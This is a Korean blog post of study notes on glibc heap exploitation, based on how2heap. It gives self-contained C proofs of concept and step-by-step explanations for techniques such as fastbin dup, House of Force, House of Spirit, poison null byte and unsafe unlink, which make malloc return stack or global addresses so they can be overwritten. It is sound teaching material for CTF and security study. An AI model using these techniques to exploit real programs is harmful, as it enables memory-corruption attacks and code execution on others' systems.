티스토리 뷰
how2heap : https://github.com/shellphish/how2heap
들어가기 전...
- chunk address는 chunk의 헤더 시작 주소
- heap address는 malloc을 통해 사용자에게 반환되는 heap 주소
----------------------------------------------------------------------------------------------------------------------------------------
fastbin dup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #include <stdio.h> #include <stdlib.h> int main() { int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); printf("1st malloc(8): %p\n", a); printf("2nd malloc(8): %p\n", b); printf("3rd malloc(8): %p\n", c); free(a); free(b); free(a); printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); printf("1st malloc(8): %p\n", malloc(8)); printf("2nd malloc(8): %p\n", malloc(8)); printf("3rd malloc(8): %p\n", malloc(8)); } | cs |
요약 : fastbin 2개를 번갈아가며 해제하는 경우, Double Free Bug를 일으킬 수 있는데, 이를 통해 malloc 할당을 동일한 영역으로 할당하도록 만들 수 있음.
전제조건
- 자유로운 fastbin 할당 및 해제(Double Free Bug)
Exploit
- 2개 이상의 작은 크기(max_fast 미만)의 힙 영역을 생성(fast bin은 특정한 상황이 아니면 병합되지 않음)
- 1번 chunk, 2번 chunk, 1번 chunk 순으로 해제(fast bin 내부 double free bug 우회)
- 동일 크기의 heap 영역을 재할당
- fast bin dup 완료
※ 소스코드의 16번째 줄에서 Double Free Bug 경고가 나오지 않는 이유
fast bin 내부에서 double free bug를 체크하는 구문은 이미 fast bin list의 꼭대기에 해제된 chunk가 저장되어 있는지를 확인한다. 꼭대기만 확인하기 때문에 fastbin을 1개 더 해제한 후, 해제를 하면 위의 구문이 우회가 되는 것이다.
하지만 a가 fast bin이 아닌 경우는 double free bug에 대해 아래와 같은 구문을 수행하기 때문에 경고가 발생한다.
다음 chunk를 확인하거나, unlink 수행 과정에서 이를 확인하기 때문에 경고가 발생하는 것이다.
공격 결과
fast bin을 Double Free Bug를 일으키는 것으로 위와 같이 서로의 fb를 따라 체인이 걸려있는 것을 볼 수 있다. 이왕 heap을 할당하여 사용하는 것이기 때문에 할당한 후, fb를 변조하면 원하는 위치에 할당하는 것도 가능할 것 같다.
----------------------------------------------------------------------------------------------------------------------------------------
fastbin dup into stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #include <stdio.h> #include <stdlib.h> int main() { printf("This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var); printf("Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8); printf("1st malloc(8): %p\n", a); printf("2nd malloc(8): %p\n", b); printf("3rd malloc(8): %p\n", c); printf("Freeing the first one...\n"); free(a); printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); printf("So, instead, we'll free %p.\n", b); free(b); printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); printf("Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8); printf("1st malloc(8): %p\n", d); printf("2nd malloc(8): %p\n", malloc(8)); printf("Now the free list has [ %p ].\n", a); printf("Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20; printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); printf("4rd malloc(8): %p\n", malloc(8)); } | cs |
요약 : fast bin에서 예상한 그대로가 가능하다는 것을 보여주는 예제였다, fastbin을 Double Free Bug로 이중연결리스트가 서로가 서로를 계속 가리키도록 만든 후에, fd를 Stack의 특정 주소로 변경하여 Stack에 힙이 할당되도록 하는 공격
전제조건
- 자유로운 fastbin 할당 및 해제(Double Free Bug)
- Stack의 특정 변수 주소 필요
- Stack의 특정 변수에는 fake free size가 저장되어야 함
Exploit
- 위의 fastbin dup를 통해 fastbin dup chain 완성
- Stack의 변수에 fake free size 저장
- fb를 fake free size가 저장된 Stack의 변수 주소 - 8로 채워줌(본래 fd에는 chunk address가 들어가므로)
- Heap Address을 2번 할당 요청
- Stack에 할당이 되어 할당받은 size 만큼 쓰기 가능(Return Address 변조 가능)
----------------------------------------------------------------------------------------------------------------------------------------
first_fit(Use-After-Free)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); char* a = malloc(512); char* b = malloc(256); char* c; printf("1st malloc(512): %p\n", a); printf("2nd malloc(256): %p\n", b); strcpy(a, "this is A!"); printf("first allocation %p points to %s\n", a, a); free(a); c = malloc(500); printf("3rd malloc(500): %p\n", c); strcpy(c, "this is C!"); printf("3rd allocation %p points to %s\n", c, c); printf("first allocation %p points to %s\n", a, a); } | cs |
요약 : UAF 취약점이 있는 경우, unsorted bin이 1번의 재사용 기회를 주는 점을 이용
전제조건
- 이미 해제된 영역을 해제된 이후에도 참조(UAF)
Exploit
- size가 max_fast 이상인 heap 2개 이상 할당(top chunk에 병합되면 안 되므로)
- top chunk와 인접하지 않은 chunk 해제 => size가 max_fast 이상이므로 unsorted bin에 저장
- 해제된 chunk의 size보다 작은 size로 heap 할당
- 방금 할당한 heap에 뭔가 씀
- 이미 해제된 녀석이 참조(UAF)
※ fast bin이 아닌 unsorted bin을 사용하는 이유 : fast bin은 8 bytes 단위로 list가 나뉘어져 있어 동일한 size를 요청해야 재사용함, 하지만 unsorted bin은 size가 상관없이 들어있어 굳이 동일한 size가 아니더라도 큰 chunk를 분리하여 사용할 수 있다면 재할당할 수 있기 때문에 사용함
----------------------------------------------------------------------------------------------------------------------------------------
House of Einherjar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main() { uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* d; a = (uint8_t*) malloc(0x38); // 1'st chunk int real_a_size = malloc_usable_size(a); size_t fake_chunk[6]; fake_chunk[0] = 0x41414141; // prev_size not used fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck printf("Our fake chunk at %p looks like:\n", fake_chunk); printf("prev_size (not used): %#lx\n", fake_chunk[0]); printf("size: %#lx\n", fake_chunk[1]); printf("fwd: %#lx\n", fake_chunk[2]); printf("bck: %#lx\n", fake_chunk[3]); b = (uint8_t*) malloc(0xf8); // 2'nd chunk int real_b_size = malloc_usable_size(b); c = malloc(0x60); // 3'rd chunk uint64_t* b_size_ptr = (uint64_t*)(b - 8); a[real_a_size] = 0; // clear prev_inus on 2'nd chunk size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); // 2'nd chunk prev_size free(b); // unlink and consolidation fake_chunk[1] = 0x1000; d = malloc(0x200); printf("Next malloc(0x200) is at %p\n", d); } | cs |
요약 : fake chunk를 만들고, 특정 chunk의 prev_size에 fake chunk까지의 거리를, size에는 prev_inus를 제거하여 free와 동시에 병합을 수행하여 fake chunk의 위치에 새롭게 heap을 할당할 수 있음
전제조건
- heap overflow 등을 통해 인접한 다음 chunk(top chunk 제외)의 prev_size와 size를 변조할 수 있어야 함
- 쓰기가능한 영역에 fake chunk를 생성하고, fake chunk의 주소를 알 수 있어야 함
Exploit
- 일반적인 heap address 1개 할당
- 쓰기가능한 영역에 fake chunk 생성, 이 때 fd와 bk는 fake chunk 자신을 가리키도록 설정(unlink 보호기법 우회)
- 2번째 heap address 할당
- 3번째 heap address 할당(버리는 영역)
- 2번째 chunk의 size 부분에서 prev_inus 제거
- 2번째 chunk의 chunk address에서 fake chunk 까지의 거리를 구한 후, 2번째 chunk의 prev_size에 저장
- 2번째 chunk 해제 => fake chunk와 2번째 chunk가 병합되어 fake chunk 위치를 bin에 저장
- fake chunk의 size를 정상화시킴
- 새로운 heap address 할당(fake chunk의 위치에 할당됨)
- Overwrite
----------------------------------------------------------------------------------------------------------------------------------------
House of Force
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> char bss_var[] = "This is a string that we want to overwrite."; int main(int argc , char* argv[]) { printf("\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var); printf("Its current value is: %s\n", bss_var); intptr_t *p1 = malloc(256); int real_size = malloc_usable_size(p1); printf("Real size (aligned and all that jazz) of our allocated chunk is %d.\n", real_size); //----- VULNERABILITY ---- intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size); printf("\nThe top chunk starts at %p\n", ptr_top); ptr_top[0] = -1; //------------------------ unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top; printf("\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n" "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size); void *new_ptr = malloc(evil_size); printf("As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr); void* ctr_chunk = malloc(100); printf("malloc(100) => %p!\n", ctr_chunk); printf("... old string: %s\n", bss_var); strcpy(ctr_chunk, "YEAH!!!"); printf("... new string: %s\n", bss_var); } | cs |
요약 : top chunk의 size를 무지막지하게 크게 만들어, 매우 큰 할당 요청을 받을 수 있게 만듬. 이 후, 매우 큰 할당 요청으로 top chunk가 할당 이후에 GOT 영역같은 곳에 위치하도록 만듬. 다시 한 번 할당 요청을 하면 top chunk가 분할하여 Heap 영역을 제공해줌
전제조건
- Top Chunk의 size를 변조할 수 있어야 함
- 매우 큰 malloc 요청을 할 수 있어야 함
- 공격을 위해서는 heap address를 알 필요가 있음
Exploit
- heap overflow 등을 이용해 top chunk의 size를 0xffffffffffffffff와 같이 매우 큰 값으로 변조
- malloc을 통해 size를 ((heap을 위치시킬 주소 - 16) - top chunk address)만큼 요청
- malloc을 통해 쓰고자하는 heap address 할당
- Overwrite
----------------------------------------------------------------------------------------------------------------------------------------
House of Lore
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main(int argc, char * argv[]){ intptr_t* stack_buffer_1[4] = {0}; intptr_t* stack_buffer_2[3] = {0}; intptr_t *victim = malloc(100); // victim-8 because we need to remove the header size in order to have the absolute address of the chunk intptr_t *victim_chunk = victim-2; printf("stack_buffer_1 at %p\n", (void*)stack_buffer_1); printf("stack_buffer_2 at %p\n", (void*)stack_buffer_2); stack_buffer_1[0] = 0; stack_buffer_1[1] = 0; stack_buffer_1[2] = victim_chunk; // small chunk corrupted... stack_buffer_1[3] = (intptr_t*)stack_buffer_2; stack_buffer_2[2] = (intptr_t*)stack_buffer_1; // small chunk corrupted... void *p5 = malloc(1000); // protect consolidation free((void*)victim); // small chunk => unsorted bin void *p2 = malloc(1200); // small chunk => small bin //------------VULNERABILITY----------- victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack //------------------------------------ void *p3 = malloc(100); // re-allocated char *p4 = malloc(100); // allocated into Stack printf("\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack } | cs |
요약 : Heap과 Stack의 주소를 이용해 fake chunk를 만들고, small bin에 들어간 small chunk의 bk에 fake chunk를 채워줌. 그리고 해당 small chunk의 size만큼 할당 요청을 하면, small bin에서 꺼내서 재사용하는데 bk가 Stack으로 변조되어 있고 Stack에 fake chunk가 있음. 그래서 Stack에 해제된 chunk가 있는 것으로 착각하여 Stack에 할당이 됨
전제조건
- 자유롭게 size를 변경하면서 malloc 요청
- 공격을 위해서 Stack과 Heap Address를 알 필요가 있음
- 해제된 Chunk가 쓰는 것이 가능해야 함
Exploit
- small chunk 1개 할당
- fake chunk 생성(fd에 Stack의 쓸 수 있는 공간의 주소(fake chunk를 만들 장소)를 채워줌)
- Stack에 fake chunk 생성(fd는 small chunk address를, bk는 방근 전에 생성한 fake chunk address를)
- large chunk 1개 할당
- small chunk를 해제 => unsorted bin에 추가됨
- unsorted bin을 재사용 못 할 만큼의 size로 chunk 1개 더 할당 => unsorted bin에서 small bin으로 재배치
- small bin에 저장된 small chunk의 bk를 Stack의 fake chunk의 주소로 변경(취약점)
- malloc으로 small chunk size로 1번 할당 요청
- malloc으로 small chunk size로 1번 더 할당 요청 => Stack의 fake chunk address 상단에 할당됨
- Overwrite
개인적인 생각 : 공격을 위해 너무 요구되는 사항이 많아서 사용하기 어려울 듯 하다.
----------------------------------------------------------------------------------------------------------------------------------------
House of Spirit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #include <stdio.h> #include <stdlib.h> int main() { unsigned long long *a; unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); malloc(1); printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]); fake_chunks[1] = 0x40; // this is the size fake_chunks[9] = 0x2240; // nextsize a = &fake_chunks[2]; free(a); printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); printf("malloc(0x30): %p\n", malloc(0x30)); } | cs |
요약 : heap address를 저장하고 있는 변수를 fake chunk의 주소로 변경한 후, 해제하여 다음 동일 크기 할당 요청시 fake chunk의 위치에 할당이 되도록 만듬
전제조건
- heap address를 저장하고 있는 변수를 Overwrite 할 수 있어야 함
- fake chunk의 주소를 알 수 있어야 함
- Overwrite한 이후에 해제와 할당이 가능해야 함
Exploit
- 쓰기가능한 메모리 영역에 fake chunk 생성(size와 인접한 다음 chunk의 size까지 입력해줌)
- heap address를 저장하고 있는 변수에 fake chunk의 heap address를 Overwrite
- heap address를 저장하고 있는 변수를 해제
- malloc을 통해 해당 size(fake chunk에 입력한 size - 0x10) 만큼(해제한 chunk와 size 일치를 위해)의 heap을 재할당
- Return Address 등을 변조
----------------------------------------------------------------------------------------------------------------------------------------
Overlapping Chunks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main(int argc , char* argv[]){ intptr_t *p1,*p2,*p3,*p4; p1 = malloc(0x100 - 8); p2 = malloc(0x100 - 8); p3 = malloc(0x80 - 8); memset(p1, '1', 0x100 - 8); memset(p2, '2', 0x100 - 8); memset(p3, '3', 0x80 - 8); free(p2); int evil_chunk_size = 0x181; // p2 size + p3 size + @ + prev_inus(1) int evil_region_size = 0x180 - 8; *(p2-1) = evil_chunk_size; // overwriting the "size" field of chunk p2 p4 = malloc(evil_region_size); // re-allocated unsorted bin printf("\np4 has been allocated at %p and ends at %p\n", p4, p4+evil_region_size); printf("p3 starts at %p and ends at %p\n", p3, p3+80); printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); memset(p4, '4', evil_region_size); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3); printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); memset(p3, '3', 80); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3); } | cs |
요약 : 인접한 해제된 상태의 다음 chunk의 size를 변조해서 재할당 가능한 chunk의 size를 속임
전제조건
- 인접한 다음 chunk의 size 변조 가능
Exploit
- heap에 chunk를 3개 할당
- 2번 chunk 해제 => unsorted bin에 저장
- 2번째 chunk의 size 변조(인접한 다음 chunk의 size를 덮도록하고 prev_inus도 셋팅)
- malloc을 통해 변조한 size-8 만큼 할당 요청 => 변조된 2번째 chunk가 확장되어 재할당됨
- 재할당된 chunk가 3번 chunk를 덮어버렸기 때문에 재할당된 chunk 사용시 3번 chunk에도 영향이 감
----------------------------------------------------------------------------------------------------------------------------------------
Poison NULL Byte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main() { uint8_t* a; uint8_t* b; uint8_t* c; uint8_t* b1; uint8_t* b2; uint8_t* d; a = (uint8_t*) malloc(0x100); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); b = (uint8_t*) malloc(0x200); printf("b: %p\n", b); c = (uint8_t*) malloc(0x100); printf("c: %p\n", c); free(b); // chunk 'b' => unsorted bin a[real_a_size] = 0; // overwriting the size of chunk 'b'(poison) b1 = malloc(0x100); // for makeing a chunk 'b2' printf("b1: %p\n",b1); b2 = malloc(0x80); // victim chunk printf("b2: %p\n",b2); memset(b2,'B',0x80); printf("Current b2 content:\n%s\n",b2); free(b1); // for consolidation free(c); // chunk 'b' and 'c' is consolidated d = malloc(0x300); // chunk 'b2' is wrapped by chunk 'd' printf("d: %p\n",d); memset(d,'D',0x300); printf("New b2 content:\n%s\n",b2); // b2 is corrupted } | cs |
요약 : 인접한 다음 chunk의 size 한 바이트를 NULL로 밀어버림으로써, 할당과 해제의 연산에 문제를 일으켜 한 chunk 내부에 chunk가 위치하도록 만듬(Overlapping Chunk와 약간 다른 느낌)
전제조건
- Off-by-One 등을 이용해 인접한 다음 chunk의 size 변조 가능
Exploit
- malloc을 통해 chunk 3개 할당
- 2번 chunk 해제 => unsorted bin에 저장
- 2번 chunk의 size 1바이트를 NULL로 변경
- malloc을 통해 새로운 chunk(4) 1개 할당 => unsorted bin을 분할하여 재사용하고 남은 remainder에 prev_size와 size 갱신
- malloc을 통해 또 새로운 chunk(5) 1개 할당 => unsorted bin을 분할하여 재사용하고 남은 remainder에 prev_size와 size 갱신
- 4번 chunk와 3번 chunk 해제 => 4번 chunk는 해제 안 하다간 unlink 보호기법에 걸리기 때문이고, 3번 chunk는 2번 chunk와 병합시키기 위해서
- malloc을 통해 3번 chunk와 2번 chunk가 병합한 size 만큼 할당 요청 => 2번 chunk와 3번 chunk가 병합한 영역 재할당(5번 chunk overlapping)
- 재할당된 chunk가 5번 chunk를 덮어버렸기 때문에 재할당된 chunk 사용시 5번 chunk에도 영향이 감
----------------------------------------------------------------------------------------------------------------------------------------
Unsafe Unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include <stdio.h> #include <stdlib.h> typedef unsigned long uint64_t; uint64_t *a; int main(void) { printf("this file shows how to attack fastbin with using DFB.\n"); a = (uint64_t *)malloc(40); void *b = malloc(500); free(a); malloc(1024); free(a); a = malloc(40); a[0] = 0x0; // a is in 0x601058 a[1] = 0x21; a[2] = 0x601040; a[3] = 0x601048; a[4] = 0x20; free(b); printf("now a is: %p\n", a); return 0; } | cs |
소스코드 출처 : mathboy
요약 : 전역 변수등에 heap address가 저장되는 점을 이용해, fd와 bk를 전역 변수의 주소로 변경하여 unlink 과정 수행시에 있는 보호기법을 우회하도록 만들어 Double Free Bug를 발생시킴
전제조건 : a가 1번 chunk, b가 2번 chunk라고 가정Ch
- Double Free Bug를 할 수 있어야 하고 어느정도 자유롭게 입력할 수 있어야 함
- 2번 chunk의 prev_size와 size를 조작할 수 있어야 함(prev_size 입력, size의 prev_inus 제거)
- Heap Address를 저장하고 있는 변수의 주소를 알고 있어야 함(전역변수나 Info Leak)
Exploit
- 2개 이상의 chunk 생성
- 1번 chunk 내부에 fd와 bk가 각각 1번 chunk의 heap address를 저장하고 있는 변수 주소 - 0x18, 0x10이 되도록 fake chunk 생성
- 2번 chunk의 size에서 prev_inus 제거
- 2번 chunk의 prev_size에 size(2번 chunk address - fake chunk address) 입력
- 2번 chunk 해제
- 1번 chunk에 내용 입력(dummy 24 Bytes + Overwrite하고자 하는 주소)
- 1번 chunk Overwrite
- 트리거
※ 소스코드의 15번째 줄에서 Double Free Bug 경고가 나오지 않는 이유 :
free의 2개 사이에 large chunk(malloc(1024))를 할당하는 시점에서 malloc_consolidation()이 수행되어 모든 fast bin은 병합되어 unsorted bin으로 보내진다. 그리고 unsorted bin 내부에서 적합한 chunk를 찾는 과정에서 방금 unsorted bin에 보내어진 병합된 chunk를 참조하여. 적합하지 않으므로 바로 small bin으로 재배치시킨다. 그 후, top chunk를 분할하여 1024 바이트의 large chunk를 할당하게 된다.
따라서 기존의 fast bin에 있던 chunk는 small bin으로 보내져 fastbin list 내부에 존재하지 않기 때문에 경고가 발생하지 않는다.
----------------------------------------------------------------------------------------------------------------------------------------
unsorted bin attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <stdlib.h> int main(void) { unsigned long stack_var = 0; unsigned long *p = malloc(400); malloc(500); free(p); //------------VULNERABILITY----------- p[1] = (unsigned long)(&stack_var - 2); //------------------------------------ malloc(400); printf("%p\n", (void*)stack_var); return 0; } | cs |
요약 : unsorted bin에 저장된 chunk의 bk를 변조하여, unsorted bin을 재사용하면 bk에 저장된 주소 + 0x10 위치에 arena의 주소가 저장되도록 만듬, arena의 주소를 이용해 공격
전제조건
- 해제된 chunk에 입력을 할 수 있어야 함
- 해제된 chunk가 fast bin이 아닌 unsorted bin에 저장되어야 하므로 size가 max_fast 크기 이상
Exploit
- 공격에 사용될 chunk1과 top chunk와의 병합을 막기 위한 chunk2를 생성
- chunk1 해제 -> unsorted bin에 저장됨
- chunk1의 bk 부분에 쓰기 가능한 메모리 주소를 저장한 포인터 변수의 주소 - 0x10을 입력
- chunk1을 할당할 때와 동일한 size로 heap 할당 -> unsorted chunk 재사용(bin에서 chunk를 제거하는 과정에 의해 bk + 0x10의 위치에 fd가 저장됨)
- 획득한 fd는 arena의 주소이므로, 이를 통해 fake arena 생성
----------------------------------------------------------------------------------------------------------------------------------------
'System > Linux' 카테고리의 다른 글
Linux Device Driver 정리 (1) (0) | 2017.05.28 |
---|---|
Linux 커널 및 모듈 공부 기초 (0) | 2017.05.27 |
Pwnable을 위한 Tools 정리 (4) | 2017.04.14 |
Heap 영역 정리 (7) | 2017.04.09 |
절대 디렉토리 경로 조작(Absolute Path Traversal) (0) | 2017.03.21 |